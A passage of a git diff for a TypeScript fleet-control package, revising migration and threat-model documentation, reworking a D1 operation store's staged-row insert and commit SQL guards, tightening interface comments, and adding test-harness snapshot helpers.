pending-topology step can write only a new timestamp; terminal convergence does not skip the remaining retirement step. Settlement delivery retains its existing at-least-once contract. Operation progress uses wall-clock `updatedAt`, independently of the optional deployment clock. Recomposition conflicts when whole-record bytes differ; coincident timestamps can produce equal bytes and reach row comparison. A batch's own lost response or identical-object replay retains its intended bytes. Every new continue derives its transition from persisted authority rather than replaying an old update object. -The bounded path reruns the admission preamble and applicable carrier assertions for each step, where the drain pays admission once per item. It also reads every item to choose work and again to render a pending result, except when no active item remains. Without retries or failures, N items and K successful admission/step transitions require 2K full item reads, each paging at 1,000 rows: O(KN) item payload processing, or O(N²P) for comparable plan lengths P. A stale or adopted-running pending result adds one full read. The D1 progress guards also count the complete item prefix. This is a per-step provider-work bound, not a constant CPU, latency or database-row-read guarantee; size the fleet for the execution host and measure its actual runtime. +The bounded path reruns the admission preamble and applicable carrier assertions for each step, where the drain runs admission once per item. It also reads every item to choose work and again to render a pending result, except when no active item remains. Without retries or failures, N items and K successful admission/step transitions require 2K full item reads, each paging at 1,000 rows: O(KN) item payload processing, or O(N²P) for comparable plan lengths P. A stale or adopted-running pending result adds one full read. The D1 progress guards also count the complete item prefix. This is a per-step provider-work bound, not a constant CPU, latency or database-row-read guarantee; size the fleet for the execution host and measure its actual runtime. -Per-call leases permit another lifecycle driver to act between steps. The frozen-target and plan fences reject incompatible phases, intent changes, backward progress and invalid carriers, but do not globally lock independent provider credentials. A READY plan can leave and re-enter the same ready discriminator between calls; later steps still converge or refuse against current state. Terminal projection checks deliberately share the drain's narrower comparison rather than revalidate every spread-through resource/history field. The [bounded migration threat boundary](security-threat-model.md#bounded-fleet-migration) describes those accepted classes and the operation-store residuals. +Per-call leases permit another lifecycle driver to act between steps. The frozen-target and plan fences reject incompatible phases, intent changes, backward progress and invalid carriers, but do not globally lock independent provider credentials. A READY plan can leave and re-enter the same ready discriminator between calls; later steps still converge or refuse against current state. Terminal projection checks deliberately share the drain's narrower comparison rather than revalidate every spread-through resource/history field. The [bounded migration threat boundary](security-threat-model.md#bounded-fleet-migration) describes those accepted classes and operation-store retry obligations. Durable Object tag movement has an additional recovery limit. Continuations accept the recorded target tag or the consistent external finalized-state tag/resource pair. Fresh admission remains strict about the previous tag, just like the drain. A new operation over an external record whose tag already moved can therefore refuse on both the completed and interrupted paths. An operation that is still running after a lost progress response can resume with its continuation. A durably failed operation cannot: neither its failed token nor a new operation ID repairs the post-tag-move admission dead-end. This API provides no reset or repair operation for that state; abandonment does not supply one. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 21eafa17..09404d55 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -170,7 +170,7 @@ Only a finalized generation is readable. Partial, failed, and count-divergent ge ### Bounded fleet audit -A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. That snapshot does not cover the caller-supplied functions, the three store ports, the optional `signal`, or `maxItemsPerCall`: those are read fresh on every call. All but `maxItemsPerCall`, which is a number, are caller code the coordinator still reaches after the intake pass — the functions when it invokes them, the store ports through their methods, and `signal` through `throwIfAborted()`. A start samples `auditClock` inside the lease, and a record-processing call can reach `backendFor`, `specFor`, `maintenanceSecretFor`, and — only through the guarded maintenance re-arm — `authorityClock`. Each of those four sits behind the preceding step, so a record-processing call can also complete without invoking any of them. +A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. Caller-provided callbacks, store ports and abort signals remain trusted executable capabilities outside the record snapshot. Provider observations are a different provenance class. Finding `tenantTag` and `environment` values can originate in inventory findings or registration-, deployment-, route-, and namespace-derived findings; fact `key` values can originate in live inspection identifiers. The bounded audit persists and reports finding identifiers as found, exactly as `auditFleetDrift()` returns them. The audit API's `readFleetAuditFindingsPage()` never returns fact rows; the exported `FleetOperationStore` port can page any row kind. A persisted fact key can surface inside a later finding's detail. For example, a later `duplicate-namespace` finding can name the namespace id claimed by an earlier record. The non-throwing detail gate then withholds an unsafe key and reports a benign key verbatim when the composed detail stays within the 4 KiB detail bound; a longer composed detail is withheld by length. The pinned R3 generation has already bounded finding identifiers to 512 bytes and excluded credential substrings, but its gate permits empty strings and control bytes. Live fact keys do not pass through R3; R4 bounds them to 4 KiB without a content grammar, so it also preserves empty strings and control bytes. @@ -186,13 +186,15 @@ Every bounded audit advance call that runs a stage chunk re-reads the pinned gen `advanceFleetMigration()` stores sequencing metadata in the account's Fleet operation store. Start snapshots bounded plain-JSON intake before awaiting and persists only each item's ordinal, tenant/environment keys, optional canary rank, entry-record digest and status. Admission resolves the current deployment under its lease and adds the target digest, frozen plan and cursor. Items never persist the caller's deployment record, module bytes, secret values or provider diagnostics. The trusted caller receives original thrown errors and must protect that channel separately; durable failures contain only an enum reason and optional item ordinal. -The account migration-kind lease serializes migration drivers. Each advance also takes the active deployment's lease, re-reads Fleet state, validates target/plan compatibility and executes at most one step. The deployment lease ends before the operation progress commit. Provider/Fleet state is mutation authority; the cursor is sequencing authority and can lag a completed mutation after a crash. A token carries only version, operation ID and revision, and grants no account or deployment authority. The host supplies authenticated stores, backend selection, specifications and credentials on every call. +The account migration-kind lease serializes migration drivers. Admission and step execution also hold the active deployment's lease while validating Fleet state and target/plan compatibility. The deployment lease ends before the operation progress commit. Provider/Fleet state is mutation authority; the cursor is sequencing authority and can lag a completed mutation after a crash. A token carries only version, operation ID and revision, and grants no account or deployment authority. The host supplies authenticated stores, backend selection, specifications and credentials on every call. The shared preamble's Durable Object base expectation differs for initial admission and continuation revalidation. Revalidation accepts the previous tag, the platform-authored target, or the consistent external finalized-state tag/resource pair. It also checks the frozen target digest before the non-ready guards and retains the frozen platform-only classification for the schema-downgrade guard after platform convergence. A foreign self-consistent external pair remains an accepted legacy class; a subsequent reconcile overwrites it only when reconciliation actually runs and returns a different target. A bare tag without its required history or resource pair fails closed, possibly in an earlier store/provider validation. Fresh admission remains strict, including the existing external post-move dead-end on completed and interrupted records. Abandoning an operation does not make those records admissible or roll back their mutations. The fence rejects target drift after the shared preamble, opposite or missing migration intent, incompatible phase changes, unreachable or backward subphases, completed-schema regressions, lost candidate identity and missing required backfill. It re-runs carrier assertions after their plan cursor. Terminal convergence is considered only at or after the terminal-commit entry, so another actor's earlier convergence cannot silently skip planned work. Its projection intentionally preserves the drain's accepted spread-through resource/history fields, consistent application-resource/binding changes, and foreign retirement snapshot class; it is not a full integrity audit of a ready record. READY leave/re-entry with the same digest and discriminator is also accepted, and later steps must converge or refuse against current state. Independent provider writers can still race observations; bounded calls widen that inter-call window without introducing a global provider lock. -The operation store checks claimed row prefixes before comparing intended and persisted run records on convergence; only matching run bytes proceed to row-byte comparison. Coordinator progress restamps wall-clock time, so recomposed retries conflict only when their bytes actually differ. Migration initialization stages deterministic pending rows, and later changes use `updateRows`. The existing D1 store's successful `INSERT ... ON CONFLICT DO NOTHING` path can nevertheless advance over different already-staged bytes without comparing them; migration does not rely on that path to replace item data. This residual remains a store contract limitation, not a repaired property. A missing target row also has different existing refusal identities: conflict for `commitProgress`, divergence for `failOperation` when its convergence comparison reaches that check. +Staging and operation progress require exact serialized bytes for existing immutable row keys. A conflicting existing ordinal aborts the D1 batch; a missing item-update target refuses its row mutations and progress advance. Retry an uncertain commit with the same intended record and row payloads. Re-read durable progress before composing a new transition. Database and response-loss errors propagate to the trusted caller; a refusal does not imply that an earlier call failed to commit. + +Lease checks still run per statement. Lease expiry during a batch can leave earlier staged rows while refusing the progress update, so callers must retain immutable payloads across retries. The convergence read compares the intended run and its targeted rows; it does not establish an atomic snapshot against independent D1 writers. See `FleetOperationLease` for caller obligations. Every routine work selection and pending response currently validates the entire item set, including density, count and payload codecs. That reread is not an atomic snapshot against out-of-band D1 writers; transactional prefix/count guards remain necessary. Item payload processing is O(N²P) across N comparable P-step migrations, and D1 prefix counts remain fleet-sized per progress commit. The API bounds step execution rather than total CPU or billed rows read. See [resumable upgrade limits and recovery](fleet-control.md#upgrade-a-fleet-in-resumable-steps) before sizing a Worker driver. diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 4c5f02fc..86ea1740 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -21,7 +21,10 @@ Source map: - `decommission-database.ts`: provider-neutral bounded D1 reference, receipt, export-result, and deletion-settlement choreography - `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization - `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) -- `fleet-operation-state.ts`, `d1-fleet-operation-store.ts`, `fleet-audit-state.ts`, `fleet-audit-advance.ts`, `fleet-inventory-state.ts`, `fleet-inventory-advance.ts`, `d1-fleet-inventory-run-store.ts`, `fleet-migration-state.ts`: the bounded-operation family (`fleet-operation-state.ts` declares the provider-neutral `FleetOperationStore` and `FleetOperationLease` ports plus the staged-row and intake codecs every bounded operation shares, and `d1-fleet-operation-store.ts` implements them over the Fleet D1 binding; `fleet-audit-state.ts` and `fleet-inventory-state.ts` hold the per-operation progress and stage codecs, `fleet-audit-advance.ts` and `fleet-inventory-advance.ts` are the request-bounded audit and account-inventory coordinators over those ports, `d1-fleet-inventory-run-store.ts` is the inventory generation store, and `fleet-migration-state.ts` holds the migration codecs the coordinator has yet to land) +- `fleet-operation-state.ts`, `d1-fleet-operation-store.ts`: bounded operation ports, codecs and D1 storage +- `fleet-audit-state.ts`, `fleet-audit-advance.ts`: bounded audit state and coordinator +- `fleet-inventory-state.ts`, `fleet-inventory-advance.ts`, `d1-fleet-inventory-run-store.ts`: inventory state, coordinator and generation storage +- `fleet-migration-state.ts`, `fleet-migration-advance.ts`: migration state and coordinator - `workers/`: the platform's own deployed Workers, published as separate export entries ```bash diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts index 7b85dbab..c9eb2e28 100644 --- a/packages/fleet-control/src/d1-fleet-operation-store.ts +++ b/packages/fleet-control/src/d1-fleet-operation-store.ts @@ -36,9 +36,6 @@ const OPERATION_TABLE = 'anchorage_fleet_operations'; const ROW_TABLE = 'anchorage_fleet_operation_rows'; const LEASE_TTL_MS = 15 * 60_000; const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000; -// Byte-identical to state-store.ts:134. The Wrangler harness lease clock -// rewrites exactly this substring, so every SQL string in this module must -// express database time with this token and no other time expression. const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)"; const LIMIT_MAX = 1_000; const KIND_CHECK = FLEET_OPERATION_KINDS.map((kind) => `'${kind}'`).join(','); @@ -54,12 +51,22 @@ const OPERATION_GUARD_SQL = `FROM ${OPERATION_TABLE} r AND json_extract(r.op_record, '$.state') = 'running' AND json_extract(r.op_record, '$.progress.revision') = ? AND ${LEASE_EXISTS_SQL}`; -const ROWS_BELOW_ORDINAL_SQL = `FROM ${ROW_TABLE} - WHERE account_id = ? AND operation_id = ? - AND row_kind = ? AND ordinal < ?`; -// The row statements of a commitProgress batch mutate this same table, so the -// inner scan is aliased: the outer statement's columns cannot capture it. -const ALIASED_ROWS_BELOW_ORDINAL_SQL = `FROM ${ROW_TABLE} w0 +// Exact restaging skips the insert. A different payload retains the +// unique-key failure so the database rolls back sibling writes. +const INSERT_STAGED_ROW_SQL = `WITH proposed(account_id, operation_id, row_kind, ordinal, payload) + AS (VALUES (?, ?, ?, ?, ?)) + INSERT INTO ${ROW_TABLE} ( + account_id, operation_id, row_kind, ordinal, payload + ) + SELECT p.account_id, p.operation_id, p.row_kind, p.ordinal, p.payload + FROM proposed p + WHERE EXISTS (SELECT 1 ${OPERATION_GUARD_SQL}) + AND NOT EXISTS (SELECT 1 FROM ${ROW_TABLE} staged + WHERE staged.account_id = p.account_id + AND staged.operation_id = p.operation_id + AND staged.row_kind = p.row_kind AND staged.ordinal = p.ordinal + AND staged.payload = p.payload)`; +const ROWS_BELOW_ORDINAL_SQL = `FROM ${ROW_TABLE} w0 WHERE w0.account_id = ? AND w0.operation_id = ? AND w0.row_kind = ? AND w0.ordinal < ?`; @@ -127,7 +134,7 @@ function assertLimit(limit: number): void { } } -function assertKind(kind: FleetOperationKind): void { +function assertPersistedKind(kind: FleetOperationKind): void { if (!FLEET_OPERATION_KINDS.includes(kind)) { throw new FleetOperationStateError(); } @@ -197,20 +204,9 @@ function serializedPayload(row: FleetOperationStagedRow): string { : JSON.stringify(row.payload); } -/** - * The watermark bindings of one `commitProgress` batch. Every row statement - * binds the PRE-state dense prefix `COUNT(kind k, ordinal < w - Bk) = w - Bk`, - * where `Bk` counts the batch's own kind-k inserts below the watermark `w`; - * those inserts all sit at ordinals at or above `w - Bk`, so no statement in - * the batch can move a count another statement reads, and on this conjunct - * the batch passes or refuses whole. The lease conjunct is still re-evaluated - * per statement, so this is not batch-level atomicity. The run update binds - * the post-state `COUNT(< w) = w`, which then holds exactly when every - * ordinal in `[w - Bk, w)` landed or already existed. The contiguous-run - * precondition is what makes the prefix invariant, so a caller that breaks it - * is refused here, before any SQL, rather than given a weaker guard. - */ -function commitWatermarkBindings( +// The pre-state prefix excludes this batch's inserts so sibling statements +// cannot change one another's watermark precondition. +function validateCommitWatermarks( watermarks: readonly [FleetOperationRowKind, number][], insertRows: readonly FleetOperationStagedRow[], accountId: string, @@ -409,11 +405,6 @@ export class D1FleetOperationStore implements FleetOperationStore { const lease: FleetOperationLease = { assertOwned, startOperation: (value) => this.#startOperation(kind, token, value), - // Deliberate delegation: the leased reader is the head-independent, - // kind-blind one, so it reaches a terminal row after head release and a - // row of the other kind. A coordinator's own `readOperationById` call on - // its continue path is defence in depth, not the only route to such a - // row. readOperation: (operationId) => this.readOperationById(operationId), stageRows: (value) => this.#stageRows(kind, token, value), commitProgress: (value) => this.#commitProgress(kind, token, value), @@ -666,13 +657,7 @@ export class D1FleetOperationStore implements FleetOperationStore { ); await this.#db.batch( batch.map((row) => ({ - sql: `INSERT INTO ${ROW_TABLE} ( - account_id, operation_id, row_kind, ordinal, payload - ) - SELECT ?, ?, ?, ?, ? - ${OPERATION_GUARD_SQL} - ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING - RETURNING row_kind, ordinal`, + sql: `${INSERT_STAGED_ROW_SQL} RETURNING row_kind, ordinal`, bindings: [ this.#accountId, operationId, @@ -742,7 +727,7 @@ export class D1FleetOperationStore implements FleetOperationStore { throw new FleetOperationStateError(); } } - const watermarkBindings = commitWatermarkBindings( + const watermarkBindings = validateCommitWatermarks( watermarks, rows, this.#accountId, @@ -760,29 +745,32 @@ export class D1FleetOperationStore implements FleetOperationStore { operationId, expectedRevision, ); - // A retry may stage byte-identical later members before this transition; - // later watermarks and finalize's totals cover those surplus ordinals. const watermarkSql = watermarks .map(() => `AND (SELECT COUNT(*) ${ROWS_BELOW_ORDINAL_SQL}) = ?`) .join('\n'); - const rowWatermarkSql = watermarks - .map(() => `AND (SELECT COUNT(*) ${ALIASED_ROWS_BELOW_ORDINAL_SQL}) = ?`) - .join('\n'); - // Every row mutation carries the SAME lease, kind, state, and PRE-update - // revision guard as the operation update, so stale or losing writers land - // no bytes that a later legitimate commit cannot replace, and the - // dense-prefix count of every claimed watermark, so a watermark this - // transition cannot satisfy refuses every statement and persists nothing. + // Insert and update keys are disjoint, so this batch cannot create a + // missing update target after a sibling statement has refused it. + const updateTargetsSql = updateRows.length + ? `AND NOT EXISTS ( + SELECT 1 FROM json_each(?) required + WHERE NOT EXISTS (SELECT 1 FROM ${ROW_TABLE} target + WHERE target.account_id = ? AND target.operation_id = ? + AND target.row_kind = 'item' AND target.ordinal = required.value) + )` + : ''; + const updateTargetBindings = updateRows.length + ? [ + JSON.stringify(updateRows.map((row) => row.ordinal)), + this.#accountId, + operationId, + ] + : []; const result = await this.#db.batch([ ...insertPayloads.map(({ row, bytes }) => ({ - sql: `INSERT INTO ${ROW_TABLE} ( - account_id, operation_id, row_kind, ordinal, payload - ) - SELECT ?, ?, ?, ?, ? - ${OPERATION_GUARD_SQL} - ${rowWatermarkSql} - ON CONFLICT (account_id, operation_id, row_kind, ordinal) DO NOTHING - RETURNING row_kind, ordinal`, + sql: `${INSERT_STAGED_ROW_SQL} + ${watermarkSql} + ${updateTargetsSql} + RETURNING row_kind, ordinal`, bindings: [ this.#accountId, operationId, @@ -791,6 +779,7 @@ export class D1FleetOperationStore implements FleetOperationStore { bytes, ...guardBindings, ...watermarkBindings.rowStatement, + ...updateTargetBindings, ], })), ...updatePayloads.map(({ row, bytes }) => ({ @@ -799,7 +788,8 @@ export class D1FleetOperationStore implements FleetOperationStore { WHERE account_id = ? AND operation_id = ? AND row_kind = ? AND ordinal = ? AND EXISTS (SELECT 1 ${OPERATION_GUARD_SQL}) - ${rowWatermarkSql} + ${watermarkSql} + ${updateTargetsSql} RETURNING row_kind, ordinal`, bindings: [ bytes, @@ -809,6 +799,7 @@ export class D1FleetOperationStore implements FleetOperationStore { row.ordinal, ...guardBindings, ...watermarkBindings.rowStatement, + ...updateTargetBindings, ], })), { @@ -820,6 +811,7 @@ export class D1FleetOperationStore implements FleetOperationStore { AND json_extract(op_record, '$.progress.revision') = ? AND ${LEASE_EXISTS_SQL} ${watermarkSql} + ${updateTargetsSql} RETURNING operation_id`, bindings: [ JSON.stringify(runRecord), @@ -829,6 +821,7 @@ export class D1FleetOperationStore implements FleetOperationStore { expectedRevision, ...this.#leaseBindings(kind, token), ...watermarkBindings.runUpdate, + ...updateTargetBindings, ], }, ]); @@ -836,73 +829,9 @@ export class D1FleetOperationStore implements FleetOperationStore { if (written.length === 1 && written[0]?.operation_id === operationId) { return runRecord; } - // Insert RETURNING proves nothing either way: DO NOTHING and guard misses - // both return no rows, so convergence must re-query every authority. return this.#commitConverged(operationId, runRecord, payloads, watermarks); } - /** - * Classifies a `commitProgress` batch whose run update returned no rows, - * by re-querying every persisted authority. Every firing point, in the - * order it is reached here: - * - * 1. no operation row at all -> `unknownOperation`. Read FIRST, so a - * PRUNED operation reports its own identity instead of whatever claim - * happens to fail against its deleted rows: prune drops the rows and - * the record in one batch, so every NON-ZERO watermark claim over a - * pruned operation is unsatisfiable (a claim of zero is satisfied by - * no rows at all); - * 2. a claimed `expectedRowWatermarks` entry the persisted rows do not - * satisfy -> `operationConflict`: the persisted transition demonstrably - * did not carry this call's precondition; - * 3. a persisted run record that is not this call's intended transition -> - * `operationConflict`: a different transition landed (another actor's - * abandonment, another step, a lost race). The revision alone does not - * discriminate that, because abandonment targets the SAME revision a - * stale in-flight commit intends; the run record does; - * 4. the intended run record persisted while a TARGET ROW carries other - * bytes -> `operationDivergence`; - * 5. the intended run record persisted while a target row is MISSING -> - * `operationConflict` at the `complete` guard: a guard-refused row - * statement returns zero rows without throwing, and `batch()` rolls - * back only on a THROWN statement, so the run update can land while a - * row statement of the same batch does not. - * - * Reaching none of the five means the transition converged. The call - * whose OWN batch landed while its response was lost passes the - * run-record equality without replaying anything: `intended` IS the - * record that call just persisted, no rebuild involved. It converges - * when the persisted target rows are its own, and it halts on - * divergence when an earlier landed row at the same ordinal carries - * other bytes — the case the paragraph below walks. A replay of that - * identical composed object behaves the same way. - * - * A record recomposed with a fresh `updatedAt` never converges, because - * the equality is whole-record: that restamp is the shipped audit - * coordinator's convention (`fleet-audit-advance.ts`, at each of its - * four `commitProgress` records), and it is what makes a lost race - * between two drivers of the same audit transition read a CONFLICT. A - * recomposed retry of the SAME transition would read one too, but that - * coordinator never composes one: it re-derives the NEXT transition - * from the persisted record. A record recomposed DETERMINISTICALLY from - * the persisted record is byte-identical instead, so it passes the - * equality and converges, and a re-derived retry under that rule - * reaches divergence when its rows differ. The restamp is a convention - * no type or test enforces — the same file composes the START record's - * `updatedAt` deterministically from the audit clock. - * - * Identities 1-3 running ahead of the row bytes narrowed divergence but - * did NOT empty it. It means the persisted run record is exactly this - * call's intended transition while a target row carries other bytes, - * which out-of-band mutation of the row table reaches, and so does a - * sanctioned sequence: a lease expiring mid-batch lands an earlier row - * statement while the run update refuses, a later attempt composes other - * bytes for that ordinal, and that attempt's own batch lands (`DO NOTHING` - * keeps the earlier bytes) with its response lost. It stays a halt because - * the persisted rows are then not the persisted transition's rows. This - * was never a corruption DETECTOR in any case — it only ever cross-checked - * the rows one refused batch happened to target. - */ async #commitConverged( operationId: string, intended: FleetOperationRunRecord, @@ -925,10 +854,7 @@ export class D1FleetOperationStore implements FleetOperationStore { } // Progress uses plain JSON equality; coordinators must build it in stable // key order so a byte-identical replay can converge. - if ( - persisted.progress.revision !== intended.progress.revision || - JSON.stringify(persisted) !== JSON.stringify(intended) - ) { + if (JSON.stringify(persisted) !== JSON.stringify(intended)) { throw operationConflict(operationId); } let complete = true; @@ -1097,9 +1023,6 @@ export class D1FleetOperationStore implements FleetOperationStore { ): Promise { const { operationId, expectedRevision } = input; const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord); - // The sanctioned caller fails exactly the active item, and at n = 1 the - // item update and the run update are atomic by construction: the run - // update's byte-exact EXISTS conjunct is true only if that one row landed. if ((input.updateRows?.length ?? 0) > 1) { throw new Error('failOperation accepts at most one updateRow'); } @@ -1243,7 +1166,6 @@ export class D1FleetOperationStore implements FleetOperationStore { Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }> > { assertLimit(input.limit); - await this.#ensureSchema(); if (!FLEET_OPERATION_ROW_KINDS.includes(input.rowKind)) { throw new Error( `rowKind must be one of ${FLEET_OPERATION_ROW_KINDS.join(', ')}`, @@ -1258,10 +1180,11 @@ export class D1FleetOperationStore implements FleetOperationStore { 'afterOrdinal must be a non-negative safe integer below Number.MAX_SAFE_INTEGER', ); } + await this.#ensureSchema(); const operation = await this.#operationRow(input.operationId); if (!operation) throw unknownOperation(input.operationId); const kind = rowString(operation, 'operation_kind') as FleetOperationKind; - assertKind(kind); + assertPersistedKind(kind); const stored = await this.#db.query( `SELECT row_kind, ordinal, payload FROM ${ROW_TABLE} WHERE account_id = ? AND operation_id = ? AND row_kind = ? diff --git a/packages/fleet-control/src/fleet-operation-state.ts b/packages/fleet-control/src/fleet-operation-state.ts index cfb2db93..7c931092 100644 --- a/packages/fleet-control/src/fleet-operation-state.ts +++ b/packages/fleet-control/src/fleet-operation-state.ts @@ -297,7 +297,9 @@ export interface FleetOperationLease { ): Promise; /** * Appends staged rows without advancing the revision, refusing unless the - * persisted revision still equals `expectedRevision`. + * persisted revision still equals `expectedRevision`. Existing keys must + * retain byte-identical payloads. A conflicting key rolls back its batch; + * earlier completed batches remain staged. * * WRITER OBLIGATION: rows must be supplied in ascending ordinal order * within each row kind, and the implementation must persist them in array @@ -313,22 +315,18 @@ export interface FleetOperationLease { }>, ): Promise; /** - * Compare-and-set advance of one operation: refuses unless the persisted - * revision equals `expectedRevision`, then writes `runRecord`, appends - * `rows`, and replaces the payloads of `updateRows` — `item` rows only — in - * the same transaction. For each named kind `expectedRowWatermarks` asserts - * that the first N ordinals are all present after the write — a dense-prefix - * check rather than a total count — so a partially applied batch is refused - * while a retry that already staged rows at higher ordinals still commits; - * a later call's higher watermark, or `finalizeOperation`'s totals, close - * those surplus ordinals out. + * Advances `expectedRevision` to `runRecord` with staged row mutations. + * Existing `rows` keys must have byte-identical payloads; `updateRows` + * requires existing `item` targets. A mismatching insert or missing update + * target refuses progress and sibling row mutations. * - * WRITER OBLIGATION: the `rows` this call inserts below a claimed watermark - * must be exactly the contiguous run ending at it; a batch that breaks it is - * refused before any statement runs. + * For each `expectedRowWatermarks` kind, the first N ordinals must be + * present after the write. Supplied inserts below that watermark must form + * the contiguous run ending at it; higher staged ordinals remain available + * to a later transition. * - * Returns the persisted record, which is the only authoritative post-commit - * state. + * Returns the persisted intended record. A replay must retain stable JSON + * key order to converge after an uncertain response. */ commitProgress( input: Readonly<{ @@ -367,10 +365,7 @@ export interface FleetOperationLease { * failed operation stays readable; `updateRows` replaces one `item` row's * payload in the same transaction. * - * WRITER OBLIGATION: at most one `updateRow`, the item the failure names. - * `D1FleetOperationStore` refuses more with `failOperation accepts at most - * one updateRow`: the run update's byte-exact `EXISTS` conjunct makes the - * item update and the run update stand or fall together only at n = 1. + * Supply at most one update row: the item named by the failure. */ failOperation( input: Readonly<{ diff --git a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts index 39eea9cb..be7a42a0 100644 --- a/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/fleet-state-harness-probe.ts @@ -3222,6 +3222,14 @@ function operationFinding(ordinal: number): FleetOperationStagedRow { }; } +function operationFact(ordinal: number): FleetOperationStagedRow { + return { + rowKind: 'fact', + ordinal, + payload: { factKind: 'duplicate-namespace', key: `namespace-${ordinal}` }, + }; +} + function operationItem( status: 'pending' | 'active', ordinal: number, @@ -3279,6 +3287,29 @@ function operationStart( }); } +async function operationSnapshot(db: D1Database, id: string) { + const run = await db + .prepare( + `SELECT op_record, json_extract(op_record, '$.progress.revision') AS revision + FROM anchorage_fleet_operations + WHERE account_id = ? AND operation_id = ?`, + ) + .bind(OPERATION_ACCOUNT, id) + .first<{ op_record: string; revision: number }>(); + const rows = await db + .prepare( + `SELECT row_kind, ordinal, payload FROM anchorage_fleet_operation_rows + WHERE account_id = ? AND operation_id = ? ORDER BY row_kind, ordinal`, + ) + .bind(OPERATION_ACCOUNT, id) + .all<{ row_kind: string; ordinal: number; payload: string }>(); + return { + revision: run?.revision ?? null, + record: run?.op_record ?? null, + rows: rows.results, + }; +} + async function operationStartAtomicity(db: D1Database): Promise { await readyOperationStore(db); const id = operationId(0); @@ -3359,30 +3390,13 @@ async function operationCommitConcurrency(db: D1Database): Promise { }); } -// The dense-prefix conjunct is aliased SQL that only `commitProgress` -// emits, and it is the single guard that keeps a watermark-refused batch from -// landing rows. Both of its paths run here so the real D1 planner, not only -// `node:sqlite`, has executed the alias. async function operationCommitWatermark(db: D1Database): Promise { const target = await readyOperationStore(db); const id = operationId(5); - const findingOrdinals = async (): Promise => { - const rows = await db - .prepare( - `SELECT ordinal FROM anchorage_fleet_operation_rows - WHERE account_id = ? AND operation_id = ? AND row_kind = 'finding' - ORDER BY ordinal`, - ) - .bind(OPERATION_ACCOUNT, id) - .all<{ ordinal: number }>(); - return rows.results.map((row) => Number(row.ordinal)); - }; return target.withAccountOperationLease('audit', async (lease) => { const created = await operationStart(lease, 'audit', id); - // One insert at ordinal 1 under a watermark of 2 satisfies the - // contiguous-run precondition, so the refusal comes from the conjunct - // itself: the insert binds COUNT(< 1) = 1 against an empty table. - let refused: unknown; + const beforeFindingRefusal = await operationSnapshot(db, id); + let findingRefused: unknown = null; try { await lease.commitProgress({ operationId: id, @@ -3392,43 +3406,58 @@ async function operationCommitWatermark(db: D1Database): Promise { expectedRowWatermarks: { finding: 2 }, }); } catch (error) { - refused = errorShape(error); + findingRefused = errorShape(error); } - if (refused === undefined) { - throw new Error('unsatisfiable watermark unexpectedly committed'); + const afterFindingRefusal = await operationSnapshot(db, id); + await lease.stageRows({ + operationId: id, + expectedRevision: 0, + rows: [operationFinding(0), operationFact(1)], + }); + const before = await operationSnapshot(db, id); + let refused: unknown = null; + try { + await lease.commitProgress({ + 